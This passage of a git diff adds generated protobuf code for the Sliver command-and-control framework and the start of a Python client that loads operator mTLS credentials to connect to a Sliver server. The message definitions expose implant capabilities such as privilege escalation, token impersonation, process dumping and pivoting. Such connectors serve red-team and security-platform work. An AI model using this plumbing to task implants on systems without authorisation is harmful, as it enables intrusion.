\x01(\x08\"\x92\x01\n\x08GetPrivs\x12\x31\n\x08PrivInfo\x18\x01 \x03(\x0b\x32\x1f.sliverpb.WindowsPrivilegeEntry\x12\x18\n\x10ProcessIntegrity\x18\x02 \x01(\t\x12\x13\n\x0bProcessName\x18\x03 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"p\n\x14RegisterExtensionReq\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x0c\n\x04\x44\x61ta\x18\x02 \x01(\x0c\x12\n\n\x02OS\x18\x03 \x01(\t\x12\x0c\n\x04Init\x18\x04 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"9\n\x11RegisterExtension\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"w\n\x10\x43\x61llExtensionReq\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x13\n\x0bServerStore\x18\x02 \x01(\x08\x12\x0c\n\x04\x41rgs\x18\x03 \x01(\x0c\x12\x0e\n\x06\x45xport\x18\x04 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"Z\n\rCallExtension\x12\x0e\n\x06Output\x18\x01 \x01(\x0c\x12\x13\n\x0bServerStore\x18\x02 \x01(\x08\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"7\n\x11ListExtensionsReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"E\n\x0eListExtensions\x12\r\n\x05Names\x18\x01 \x03(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"I\n\x17RportFwdStopListenerReq\x12\n\n\x02ID\x18\x01 \x01(\r\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\x92\x01\n\x18RportFwdStartListenerReq\x12\x13\n\x0b\x42indAddress\x18\x01 \x01(\t\x12\x10\n\x08\x42indPort\x18\x02 \x01(\r\x12\x13\n\x0b\x46orwardPort\x18\x03 \x01(\r\x12\x16\n\x0e\x46orwardAddress\x18\x04 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\x98\x01\n\x10RportFwdListener\x12\n\n\x02ID\x18\x01 \x01(\r\x12\x13\n\x0b\x42indAddress\x18\x02 \x01(\t\x12\x10\n\x08\x42indPort\x18\x03 \x01(\r\x12\x16\n\x0e\x46orwardAddress\x18\x04 \x01(\t\x12\x13\n\x0b\x46orwardPort\x18\x05 \x01(\r\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"h\n\x11RportFwdListeners\x12-\n\tListeners\x18\x01 \x03(\x0b\x32\x1a.sliverpb.RportFwdListener\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\":\n\x14RportFwdListenersReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"t\n\x08RPortfwd\x12\x0c\n\x04Port\x18\x01 \x01(\r\x12\x10\n\x08Protocol\x18\x02 \x01(\x05\x12\x0c\n\x04Host\x18\x03 \x01(\t\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"u\n\x0bRPortfwdReq\x12\x0c\n\x04Port\x18\x01 \x01(\r\x12\x10\n\x08Protocol\x18\x02 \x01(\x05\x12\x0c\n\x04Host\x18\x03 \x01(\t\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"a\n\x08\x43hmodReq\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\x10\n\x08\x46ileMode\x18\x02 \x01(\t\x12\x11\n\tRecursive\x18\x03 \x01(\x08\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\";\n\x05\x43hmod\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"i\n\x08\x43hownReq\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\x0b\n\x03Uid\x18\x02 \x01(\t\x12\x0b\n\x03Gid\x18\x03 \x01(\t\x12\x11\n\tRecursive\x18\x04 \x01(\x08\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\";\n\x05\x43hown\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\\\n\nChtimesReq\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\r\n\x05\x41Time\x18\x02 \x01(\x03\x12\r\n\x05MTime\x18\x03 \x01(\x03\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"=\n\x07\x43htimes\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"5\n\x0fMemfilesListReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"4\n\x0eMemfilesAddReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"?\n\x0bMemfilesAdd\x12\n\n\x02\x46\x64\x18\x01 \x01(\x03\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"?\n\rMemfilesRmReq\x12\n\n\x02\x46\x64\x18\x01 \x01(\x03\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\">\n\nMemfilesRm\x12\n\n\x02\x46\x64\x18\x01 \x01(\x03\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\\\n\x18RegisterWasmExtensionReq\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x0e\n\x06WasmGz\x18\x02 \x01(\x0c\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"=\n\x15RegisterWasmExtension\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"N\n\x1a\x44\x65registerWasmExtensionReq\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\";\n\x15ListWasmExtensionsReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"I\n\x12ListWasmExtensions\x12\r\n\x05Names\x18\x01 \x03(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\xe9\x01\n\x14\x45xecWasmExtensionReq\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x0c\n\x04\x41rgs\x18\x02 \x03(\t\x12\x13\n\x0bInteractive\x18\x03 \x01(\x08\x12\x38\n\x05MemFS\x18\x04 \x03(\x0b\x32).sliverpb.ExecWasmExtensionReq.MemFSEntry\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\x1a,\n\nMemFSEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\x0c:\x02\x38\x01\"k\n\x11\x45xecWasmExtension\x12\x0e\n\x06Stdout\x18\x01 \x01(\x0c\x12\x0e\n\x06Stderr\x18\x02 \x01(\x0c\x12\x10\n\x08\x45xitCode\x18\x03 \x01(\r\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response*I\n\x0cRegistryType\x12\x0b\n\x07Unknown\x10\x00\x12\n\n\x06\x42inary\x10\x01\x12\n\n\x06String\x10\x02\x12\t\n\x05\x44WORD\x10\x03\x12\t\n\x05QWORD\x10\x04*,\n\tPivotType\x12\x07\n\x03TCP\x10\x00\x12\x07\n\x03UDP\x10\x01\x12\r\n\tNamedPipe\x10\x02*3\n\x0fPeerFailureType\x12\x10\n\x0cSEND_FAILURE\x10\x00\x12\x0e\n\nDISCONNECT\x10\x01\x42/Z-github.com/bishopfox/sliver/protobuf/sliverpbb\x06proto3')
+
+_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, globals())
+_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'sliverpb.sliver_pb2', globals())
+if _descriptor._USE_C_DESCRIPTORS == False:
+
+ DESCRIPTOR._options = None
+ DESCRIPTOR._serialized_options = b'Z-github.com/bishopfox/sliver/protobuf/sliverpb'
+ _TUNNEL.fields_by_name['TunnelID']._options = None
+ _TUNNEL.fields_by_name['TunnelID']._serialized_options = b'0\001'
+ _TUNNELDATA.fields_by_name['TunnelID']._options = None
+ _TUNNELDATA.fields_by_name['TunnelID']._serialized_options = b'0\001'
+ _SHELLREQ.fields_by_name['TunnelID']._options = None
+ _SHELLREQ.fields_by_name['TunnelID']._serialized_options = b'0\001'
+ _SHELL.fields_by_name['TunnelID']._options = None
+ _SHELL.fields_by_name['TunnelID']._serialized_options = b'0\001'
+ _PORTFWDREQ.fields_by_name['TunnelID']._options = None
+ _PORTFWDREQ.fields_by_name['TunnelID']._serialized_options = b'0\001'
+ _PORTFWD.fields_by_name['TunnelID']._options = None
+ _PORTFWD.fields_by_name['TunnelID']._serialized_options = b'0\001'
+ _SOCKS.fields_by_name['TunnelID']._options = None
+ _SOCKS.fields_by_name['TunnelID']._serialized_options = b'0\001'
+ _SOCKSDATA.fields_by_name['TunnelID']._options = None
+ _SOCKSDATA.fields_by_name['TunnelID']._serialized_options = b'0\001'
+ _PIVOTHELLO.fields_by_name['PeerID']._options = None
+ _PIVOTHELLO.fields_by_name['PeerID']._serialized_options = b'0\001'
+ _PIVOTPEER.fields_by_name['PeerID']._options = None
+ _PIVOTPEER.fields_by_name['PeerID']._serialized_options = b'0\001'
+ _NETCONNPIVOT.fields_by_name['PeerID']._options = None
+ _NETCONNPIVOT.fields_by_name['PeerID']._serialized_options = b'0\001'
+ _PIVOTPEERFAILURE.fields_by_name['PeerID']._options = None
+ _PIVOTPEERFAILURE.fields_by_name['PeerID']._serialized_options = b'0\001'
+ _RPORTFWD.fields_by_name['TunnelID']._options = None
+ _RPORTFWD.fields_by_name['TunnelID']._serialized_options = b'0\001'
+ _RPORTFWDREQ.fields_by_name['TunnelID']._options = None
+ _RPORTFWDREQ.fields_by_name['TunnelID']._serialized_options = b'0\001'
+ _EXECWASMEXTENSIONREQ_MEMFSENTRY._options = None
+ _EXECWASMEXTENSIONREQ_MEMFSENTRY._serialized_options = b'8\001'
+ _EXECWASMEXTENSIONREQ.fields_by_name['TunnelID']._options = None
+ _EXECWASMEXTENSIONREQ.fields_by_name['TunnelID']._serialized_options = b'0\001'
+ _REGISTRYTYPE._serialized_start=15534
+ _REGISTRYTYPE._serialized_end=15607
+ _PIVOTTYPE._serialized_start=15609
+ _PIVOTTYPE._serialized_end=15653
+ _PEERFAILURETYPE._serialized_start=15655
+ _PEERFAILURETYPE._serialized_end=15706
+ _ENVELOPE._serialized_start=58
+ _ENVELOPE._serialized_end=136
+ _BEACONTASKS._serialized_start=138
+ _BEACONTASKS._serialized_end=219
+ _REGISTER._serialized_start=222
+ _REGISTER._serialized_end=509
+ _BEACONREGISTER._serialized_start=511
+ _BEACONREGISTER._serialized_end=632
+ _SESSIONREGISTER._serialized_start=634
+ _SESSIONREGISTER._serialized_end=701
+ _OPENSESSION._serialized_start=703
+ _OPENSESSION._serialized_end=818
+ _CLOSESESSION._serialized_start=820
+ _CLOSESESSION._serialized_end=908
+ _PING._serialized_start=910
+ _PING._serialized_end=1005
+ _KILLREQ._serialized_start=1007
+ _KILLREQ._serialized_end=1067
+ _PSREQ._serialized_start=1069
+ _PSREQ._serialized_end=1112
+ _PS._serialized_start=1114
+ _PS._serialized_end=1194
+ _TERMINATEREQ._serialized_start=1196
+ _TERMINATEREQ._serialized_end=1274
+ _TERMINATE._serialized_start=1276
+ _TERMINATE._serialized_end=1338
+ _IFCONFIGREQ._serialized_start=1340
+ _IFCONFIGREQ._serialized_end=1389
+ _IFCONFIG._serialized_start=1391
+ _IFCONFIG._serialized_end=1486
+ _NETINTERFACE._serialized_start=1488
+ _NETINTERFACE._serialized_end=1565
+ _LSREQ._serialized_start=1567
+ _LSREQ._serialized_end=1624
+ _LS._serialized_start=1627
+ _LS._serialized_end=1776
+ _FILEINFO._serialized_start=1778
+ _FILEINFO._serialized_end=1902
+ _CDREQ._serialized_start=1904
+ _CDREQ._serialized_end=1961
+ _PWDREQ._serialized_start=1963
+ _PWDREQ._serialized_end=2007
+ _PWD._serialized_start=2009
+ _PWD._serialized_end=2066
+ _RMREQ._serialized_start=2068
+ _RMREQ._serialized_end=2159
+ _RM._serialized_start=2161
+ _RM._serialized_end=2217
+ _MVREQ._serialized_start=2219
+ _MVREQ._serialized_end=2288
+ _MV._serialized_start=2290
+ _MV._serialized_end=2358
+ _MKDIRREQ._serialized_start=2360
+ _MKDIRREQ._serialized_end=2420
+ _MKDIR._serialized_start=2422
+ _MKDIR._serialized_end=2481
+ _DOWNLOADREQ._serialized_start=2483
+ _DOWNLOADREQ._serialized_end=2592
+ _DOWNLOAD._serialized_start=2595
+ _DOWNLOAD._serialized_end=2792
+ _UPLOADREQ._serialized_start=2794
+ _UPLOADREQ._serialized_end=2901
+ _UPLOAD._serialized_start=2903
+ _UPLOAD._serialized_end=2963
+ _PROCESSDUMPREQ._serialized_start=2965
+ _PROCESSDUMPREQ._serialized_end=3047
+ _PROCESSDUMP._serialized_start=3049
+ _PROCESSDUMP._serialized_end=3114
+ _RUNASREQ._serialized_start=3117
+ _RUNASREQ._serialized_end=3287
+ _RUNAS._serialized_start=3289
+ _RUNAS._serialized_end=3350
+ _IMPERSONATEREQ._serialized_start=3352
+ _IMPERSONATEREQ._serialized_end=3422
+ _IMPERSONATE._serialized_start=3424
+ _IMPERSONATE._serialized_end=3475
+ _REVTOSELFREQ._serialized_start=3477
+ _REVTOSELFREQ._serialized_end=3527
+ _REVTOSELF._serialized_start=3529
+ _REVTOSELF._serialized_end=3578
+ _CURRENTTOKENOWNERREQ._serialized_start=3580
+ _CURRENTTOKENOWNERREQ._serialized_end=3638
+ _CURRENTTOKENOWNER._serialized_start=3640
+ _CURRENTTOKENOWNER._serialized_end=3713
+ _INVOKEGETSYSTEMREQ._serialized_start=3715
+ _INVOKEGETSYSTEMREQ._serialized_end=3809
+ _GETSYSTEM._serialized_start=3811
+ _GETSYSTEM._serialized_end=3860
+ _MAKETOKENREQ._serialized_start=3862
+ _MAKETOKENREQ._serialized_end=3983
+ _MAKETOKEN._serialized_start=3985
+ _MAKETOKEN._serialized_end=4034
+ _TASKREQ._serialized_start=4036
+ _TASKREQ._serialized_end=4143
+ _TASK._serialized_start=4145
+ _TASK._serialized_end=4189
+ _EXECUTEASSEMBLYREQ._serialized_start=4192
+ _EXECUTEASSEMBLYREQ._serialized_end=4495
+ _INVOKEEXECUTEASSEMBLYREQ._serialized_start=4498
+ _INVOKEEXECUTEASSEMBLYREQ._serialized_end=4626
+ _INVOKEINPROCEXECUTEASSEMBLYREQ._serialized_start=4629
+ _INVOKEINPROCEXECUTEASSEMBLYREQ._serialized_end=4786
+ _EXECUTEASSEMBLY._serialized_start=4788
+ _EXECUTEASSEMBLY._serialized_end=4859
+ _INVOKEMIGRATEREQ._serialized_start=4861
+ _INVOKEMIGRATEREQ._serialized_end=4942
+ _MIGRATE._serialized_start=4944
+ _MIGRATE._serialized_end=5008
+ _EXECUTEREQ._serialized_start=5011
+ _EXECUTEREQ._serialized_end=5149
+ _EXECUTEWINDOWSREQ._serialized_start=5152
+ _EXECUTEWINDOWSREQ._serialized_end=5315
+ _EXECUTE._serialized_start=5317
+ _EXECUTE._serialized_end=5425
+ _SIDELOADREQ._serialized_start=5428
+ _SIDELOADREQ._serialized_end=5629
+ _SIDELOAD._serialized_start=5631
+ _SIDELOAD._serialized_end=5695
+ _INVOKESPAWNDLLREQ._serialized_start=5698
+ _INVOKESPAWNDLLREQ._serialized_end=5871
+ _SPAWNDLLREQ._serialized_start=5874
+ _SPAWNDLLREQ._serialized_end=6037
+ _SPAWNDLL._serialized_start=6039
+ _SPAWNDLL._serialized_end=6103
+ _NETSTATREQ._serialized_start=6105
+ _NETSTATREQ._serialized_end=6224
+ _SOCKTABENTRY._serialized_start=6227
+ _SOCKTABENTRY._serialized_end=6468
+ _SOCKTABENTRY_SOCKADDR._serialized_start=6432
+ _SOCKTABENTRY_SOCKADDR._serialized_end=6468
+ _NETSTAT._serialized_start=6470
+ _NETSTAT._serialized_end=6558
+ _ENVREQ._serialized_start=6560
+ _ENVREQ._serialized_end=6618
+ _ENVINFO._serialized_start=6620
+ _ENVINFO._serialized_end=6704
+ _SETENVREQ._serialized_start=6706
+ _SETENVREQ._serialized_end=6789
+ _SETENV._serialized_start=6791
+ _SETENV._serialized_end=6837
+ _UNSETENVREQ._serialized_start=6839
+ _UNSETENVREQ._serialized_end=6902
+ _UNSETENV._serialized_start=6904
+ _UNSETENV._serialized_end=6952
+ _DNSSESSIONINIT._serialized_start=6954
+ _DNSSESSIONINIT._serialized_end=6983
+ _DNSPOLL._serialized_start=6985
+ _DNSPOLL._serialized_end=7036
+ _DNSBLOCKHEADER._serialized_start=7038
+ _DNSBLOCKHEADER._serialized_end=7080
+ _HTTPSESSIONINIT._serialized_start=7082
+ _HTTPSESSIONINIT._serialized_end=7112
+ _SCREENSHOTREQ._serialized_start=7114
+ _SCREENSHOTREQ._serialized_end=7165
+ _SCREENSHOT._serialized_start=7167
+ _SCREENSHOT._serialized_end=7231
+ _STARTSERVICEREQ._serialized_start=7234
+ _STARTSERVICEREQ._serialized_end=7390
+ _SERVICEINFO._serialized_start=7392
+ _SERVICEINFO._serialized_end=7443
+ _SERVICEINFOREQ._serialized_start=7445
+ _SERVICEINFOREQ._serialized_end=7500
+ _STOPSERVICEREQ._serialized_start=7502
+ _STOPSERVICEREQ._serialized_end=7601
+ _REMOVESERVICEREQ._serialized_start=7603
+ _REMOVESERVICEREQ._serialized_end=7704
+ _REGISTRYREADREQ._serialized_start=7706
+ _REGISTRYREADREQ._serialized_end=7818
+ _REGISTRYREAD._serialized_start=7820
+ _REGISTRYREAD._serialized_end=7887
+ _REGISTRYWRITEREQ._serialized_start=7890
+ _REGISTRYWRITEREQ._serialized_end=8097
+ _REGISTRYWRITE._serialized_start=8099
+ _REGISTRYWRITE._serialized_end=8152
+ _REGISTRYCREATEKEYREQ._serialized_start=8154
+ _REGISTRYCREATEKEYREQ._serialized_end=8271
+ _REGISTRYCREATEKEY._serialized_start=8273
+ _REGISTRYCREATEKEY._serialized_end=8330
+ _REGISTRYDELETEKEYREQ._serialized_start=8332
+ _REGISTRYDELETEKEYREQ._serialized_end=8449
+ _REGISTRYDELETEKEY._serialized_start=8451
+ _REGISTRYDELETEKEY._serialized_end=8508
+ _REGISTRYSUBKEYLISTREQ._serialized_start=8510
+ _REGISTRYSUBKEYLISTREQ._serialized_end=8615
+ _REGISTRYSUBKEYLIST._serialized_start=8617
+ _REGISTRYSUBKEYLIST._serialized_end=8692
+ _REGISTRYLISTVALUESREQ._serialized_start=8694
+ _REGISTRYLISTVALUESREQ._serialized_end=8799
+ _REGISTRYVALUESLIST._serialized_start=8801
+ _REGISTRYVALUESLIST._serialized_end=8879
+ _TUNNEL._serialized_start=8881
+ _TUNNEL._serialized_end=8930
+ _TUNNELDATA._serialized_start=8933
+ _TUNNELDATA._serialized_end=9124
+ _SHELLREQ._serialized_start=9126
+ _SHELLREQ._serialized_end=9240
+ _SHELL._serialized_start=9242
+ _SHELL._serialized_end=9355
+ _PORTFWDREQ._serialized_start=9357
+ _PORTFWDREQ._serialized_end=9473
+ _PORTFWD._serialized_start=9475
+ _PORTFWD._serialized_end=9590
+ _SOCKS._serialized_start=9592
+ _SOCKS._serialized_end=9640
+ _SOCKSDATA._serialized_start=9643
+ _SOCKSDATA._serialized_end=9799
+ _PIVOTSTARTLISTENERREQ._serialized_start=9802
+ _PIVOTSTARTLISTENERREQ._serialized_end=9934
+ _PIVOTSTOPLISTENERREQ._serialized_start=9936
+ _PIVOTSTOPLISTENERREQ._serialized_end=10006
+ _PIVOTLISTENER._serialized_start=10009
+ _PIVOTLISTENER._serialized_end=10170
+ _PIVOTHELLO._serialized_start=10172
+ _PIVOTHELLO._serialized_end=10271
+ _PIVOTSERVERKEYEXCHANGE._serialized_start=10273
+ _PIVOTSERVERKEYEXCHANGE._serialized_end=10335
+ _PIVOTPEER._serialized_start=10337
+ _PIVOTPEER._serialized_end=10382
+ _PIVOTPEERENVELOPE._serialized_start=10385
+ _PIVOTPEERENVELOPE._serialized_end=10515
+ _PIVOTPING._serialized_start=10517
+ _PIVOTPING._serialized_end=10543
+ _NETCONNPIVOT._serialized_start=10545
+ _NETCONNPIVOT._serialized_end=10602
+ _PIVOTPEERFAILURE._serialized_start=10604
+ _PIVOTPEERFAILURE._serialized_end=10696
+ _PIVOTLISTENERSREQ._serialized_start=10698
+ _PIVOTLISTENERSREQ._serialized_end=10753
+ _PIVOTLISTENERS._serialized_start=10755
+ _PIVOTLISTENERS._serialized_end=10853
+ _WGPORTFORWARDSTARTREQ._serialized_start=10855
+ _WGPORTFORWARDSTARTREQ._serialized_end=10956
+ _WGPORTFORWARD._serialized_start=10958
+ _WGPORTFORWARD._serialized_end=11056
+ _WGPORTFORWARDSTOPREQ._serialized_start=11058
+ _WGPORTFORWARDSTOPREQ._serialized_end=11128
+ _WGSOCKSSTARTREQ._serialized_start=11130
+ _WGSOCKSSTARTREQ._serialized_end=11197
+ _WGSOCKS._serialized_start=11199
+ _WGSOCKS._serialized_end=11287
+ _WGSOCKSSTOPREQ._serialized_start=11289
+ _WGSOCKSSTOPREQ._serialized_end=11353
+ _WGTCPFORWARDERSREQ._serialized_start=11355
+ _WGTCPFORWARDERSREQ._serialized_end=11411
+ _WGSOCKSSERVERSREQ._serialized_start=11413
+ _WGSOCKSSERVERSREQ._serialized_end=11468
+ _WGTCPFORWARDER._serialized_start=11470
+ _WGTCPFORWARDER._serialized_end=11537
+ _WGSOCKSSERVER._serialized_start=11539
+ _WGSOCKSSERVER._serialized_end=11585
+ _WGSOCKSSERVERS._serialized_start=11587
+ _WGSOCKSSERVERS._serialized_end=11683
+ _WGTCPFORWARDERS._serialized_start=11685
+ _WGTCPFORWARDERS._serialized_end=11786
+ _RECONFIGUREREQ._serialized_start=11788
+ _RECONFIGUREREQ._serialized_end=11913
+ _RECONFIGURE._serialized_start=11915
+ _RECONFIGURE._serialized_end=11966
+ _POLLINTERVALREQ._serialized_start=11968
+ _POLLINTERVALREQ._serialized_end=12043
+ _POLLINTERVAL._serialized_start=12045
+ _POLLINTERVAL._serialized_end=12097
+ _SSHCOMMANDREQ._serialized_start=12100
+ _SSHCOMMANDREQ._serialized_end=12302
+ _SSHCOMMAND._serialized_start=12304
+ _SSHCOMMAND._serialized_end=12386
+ _GETPRIVSREQ._serialized_start=12388
+ _GETPRIVSREQ._serialized_end=12437
+ _WINDOWSPRIVILEGEENTRY._serialized_start=12440
+ _WINDOWSPRIVILEGEENTRY._serialized_end=12581
+ _GETPRIVS._serialized_start=12584
+ _GETPRIVS._serialized_end=12730
+ _REGISTEREXTENSIONREQ._serialized_start=12732
+ _REGISTEREXTENSIONREQ._serialized_end=12844
+ _REGISTEREXTENSION._serialized_start=12846
+ _REGISTEREXTENSION._serialized_end=12903
+ _CALLEXTENSIONREQ._serialized_start=12905
+ _CALLEXTENSIONREQ._serialized_end=13024
+ _CALLEXTENSION._serialized_start=13026
+ _CALLEXTENSION._serialized_end=13116
+ _LISTEXTENSIONSREQ._serialized_start=13118
+ _LISTEXTENSIONSREQ._serialized_end=13173
+ _LISTEXTENSIONS._serialized_start=13175
+ _LISTEXTENSIONS._serialized_end=13244
+ _RPORTFWDSTOPLISTENERREQ._serialized_start=13246
+ _RPORTFWDSTOPLISTENERREQ._serialized_end=13319
+ _RPORTFWDSTARTLISTENERREQ._serialized_start=13322
+ _RPORTFWDSTARTLISTENERREQ._serialized_end=13468
+ _RPORTFWDLISTENER._serialized_start=13471
+ _RPORTFWDLISTENER._serialized_end=13623
+ _RPORTFWDLISTENERS._serialized_start=13625
+ _RPORTFWDLISTENERS._serialized_end=13729
+ _RPORTFWDLISTENERSREQ._serialized_start=13731
+ _RPORTFWDLISTENERSREQ._serialized_end=13789
+ _RPORTFWD._serialized_start=13791
+ _RPORTFWD._serialized_end=13907
+ _RPORTFWDREQ._serialized_start=13909
+ _RPORTFWDREQ._serialized_end=14026
+ _CHMODREQ._serialized_start=14028
+ _CHMODREQ._serialized_end=14125
+ _CHMOD._serialized_start=14127
+ _CHMOD._serialized_end=14186
+ _CHOWNREQ._serialized_start=14188
+ _CHOWNREQ._serialized_end=14293
+ _CHOWN._serialized_start=14295
+ _CHOWN._serialized_end=14354
+ _CHTIMESREQ._serialized_start=14356
+ _CHTIMESREQ._serialized_end=14448
+ _CHTIMES._serialized_start=14450
+ _CHTIMES._serialized_end=14511
+ _MEMFILESLISTREQ._serialized_start=14513
+ _MEMFILESLISTREQ._serialized_end=14566
+ _MEMFILESADDREQ._serialized_start=14568
+ _MEMFILESADDREQ._serialized_end=14620
+ _MEMFILESADD._serialized_start=14622
+ _MEMFILESADD._serialized_end=14685
+ _MEMFILESRMREQ._serialized_start=14687
+ _MEMFILESRMREQ._serialized_end=14750
+ _MEMFILESRM._serialized_start=14752
+ _MEMFILESRM._serialized_end=14814
+ _REGISTERWASMEXTENSIONREQ._serialized_start=14816
+ _REGISTERWASMEXTENSIONREQ._serialized_end=14908
+ _REGISTERWASMEXTENSION._serialized_start=14910
+ _REGISTERWASMEXTENSION._serialized_end=14971
+ _DEREGISTERWASMEXTENSIONREQ._serialized_start=14973
+ _DEREGISTERWASMEXTENSIONREQ._serialized_end=15051
+ _LISTWASMEXTENSIONSREQ._serialized_start=15053
+ _LISTWASMEXTENSIONSREQ._serialized_end=15112
+ _LISTWASMEXTENSIONS._serialized_start=15114
+ _LISTWASMEXTENSIONS._serialized_end=15187
+ _EXECWASMEXTENSIONREQ._serialized_start=15190
+ _EXECWASMEXTENSIONREQ._serialized_end=15423
+ _EXECWASMEXTENSIONREQ_MEMFSENTRY._serialized_start=15379
+ _EXECWASMEXTENSIONREQ_MEMFSENTRY._serialized_end=15423
+ _EXECWASMEXTENSION._serialized_start=15425
+ _EXECWASMEXTENSION._serialized_end=15532
+# @@protoc_insertion_point(module_scope)
diff --git a/cmd/connectors/sliver-connector/sliver_service/pb/sliverpb/sliver_pb2_grpc.py b/cmd/connectors/sliver-connector/sliver_service/pb/sliverpb/sliver_pb2_grpc.py
new file mode 100644
index 0000000..2daafff
--- /dev/null
+++ b/cmd/connectors/sliver-connector/sliver_service/pb/sliverpb/sliver_pb2_grpc.py
@@ -0,0 +1,4 @@
+# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
+"""Client and server classes corresponding to protobuf-defined services."""
+import grpc
+
diff --git a/cmd/connectors/sliver-connector/sliver_service/sliver.py b/cmd/connectors/sliver-connector/sliver_service/sliver.py
new file mode 100644
index 0000000..d407612
--- /dev/null
+++ b/cmd/connectors/sliver-connector/sliver_service/sliver.py
@@ -0,0 +1,205 @@
+# Heavily inspired/stolen from https://github.com/moloch--/sliver-py
+from __future__ import annotations
+import logging
+import json
+import os
+from typing import AsyncGenerator, List, Union
+
+import grpc
+
+from sliver_service.pb.rpcpb.services_pb2_grpc import SliverRPCStub
+from sliver_service.pb.clientpb import client_pb2
+from sliver_service.pb.commonpb import common_pb2
+
+
+KB = 1024
+MB = 1024 * KB
+GB = 1024 * MB
+TIMEOUT = 60
+
+
+
+class SliverClientConfig(object):
+ """
+ This class parses and represents Sliver operator configuration files, typically this class is automatically
+ instantiated using one of the class methods :class:`SliverClientConfig.parse_config()` or :class:`SliverClientConfig.parse_config_file()` but can be directly
+ instantiated too.
+
+ :param operator: Operator name, note that this value is only used by the client and is ignored by the server.
+ :param lhost: The listener host to connect to (i.e., the Sliver server host).
+ :param lhost: The TCP port of the host listener (i.e., the TCP port of the Sliver "multiplayer" service).
+ :param ca_certificate: The Sliver server certificate authority.
+ :param certificate: The mTLS client certificate.
+ :param private_key: The mTLS private key.
+ :param token: The user's authentication token.
+
+ :raises ValueError: A parameter contained an invalid value.
+ """
+
+ def __init__(
+ self,
+ operator: str,
+ lhost: str,
+ lport: int,
+ ca_certificate: str,
+ certificate: str,
+ private_key: str,
+ token: str,
+ ):
+ self.operator = operator
+ self.lhost = lhost
+ if not 0 < lport < 65535:
+ raise ValueError("Invalid lport %d" % lport)
+ self.lport = lport
+ self.ca_certificate = ca_certificate
+ self.certificate = certificate
+ self.private_key = private_key
+ self.token = token
+
+ def __str__(self):
+ return "%s@%s:%d" % (
+ self.operator,
+ self.lhost,
+ self.lport,
+ )
+
+ def __repr__(self):
+ return "" % (
+ self.operator,
+ self.lhost,
+ self.lport,
+ self.ca_certificate,
+ self.certificate,
+ )
+
+ @classmethod
+ def parse_config(cls, data: Union[str, bytes]) -> SliverClientConfig:
+ """Parses the content of a Sliver operator configuration file and
+ returns the instantiated :class:`SliverClientConfig`
+
+ :param data: The Sliver operator configuration file content.
+ :type data: Union[str, bytes]
+ :return: An instantiated :class:`SliverClientConfig` object.
+ :rtype: SliverClientConfig
+ """
+ return cls(**json.loads(data))
+
+ @classmethod
+ def parse_config_file(cls, filepath: os.PathLike[str]) -> SliverClientConfig:
+ """Parse a given file path as a Sliver operator configuration file.
+
+ :param filepath: File system path to an operator configuration file.
+ :type filepath: str
+ :return: An instantiated :class:`SliverClientConfig` object.
+ :rtype: SliverClientConfig
+ """
+ with open(filepath, "r") as fp:
+ data = fp.read()
+ return cls.parse_config(data)
+
+
+class BaseClient(object):
+
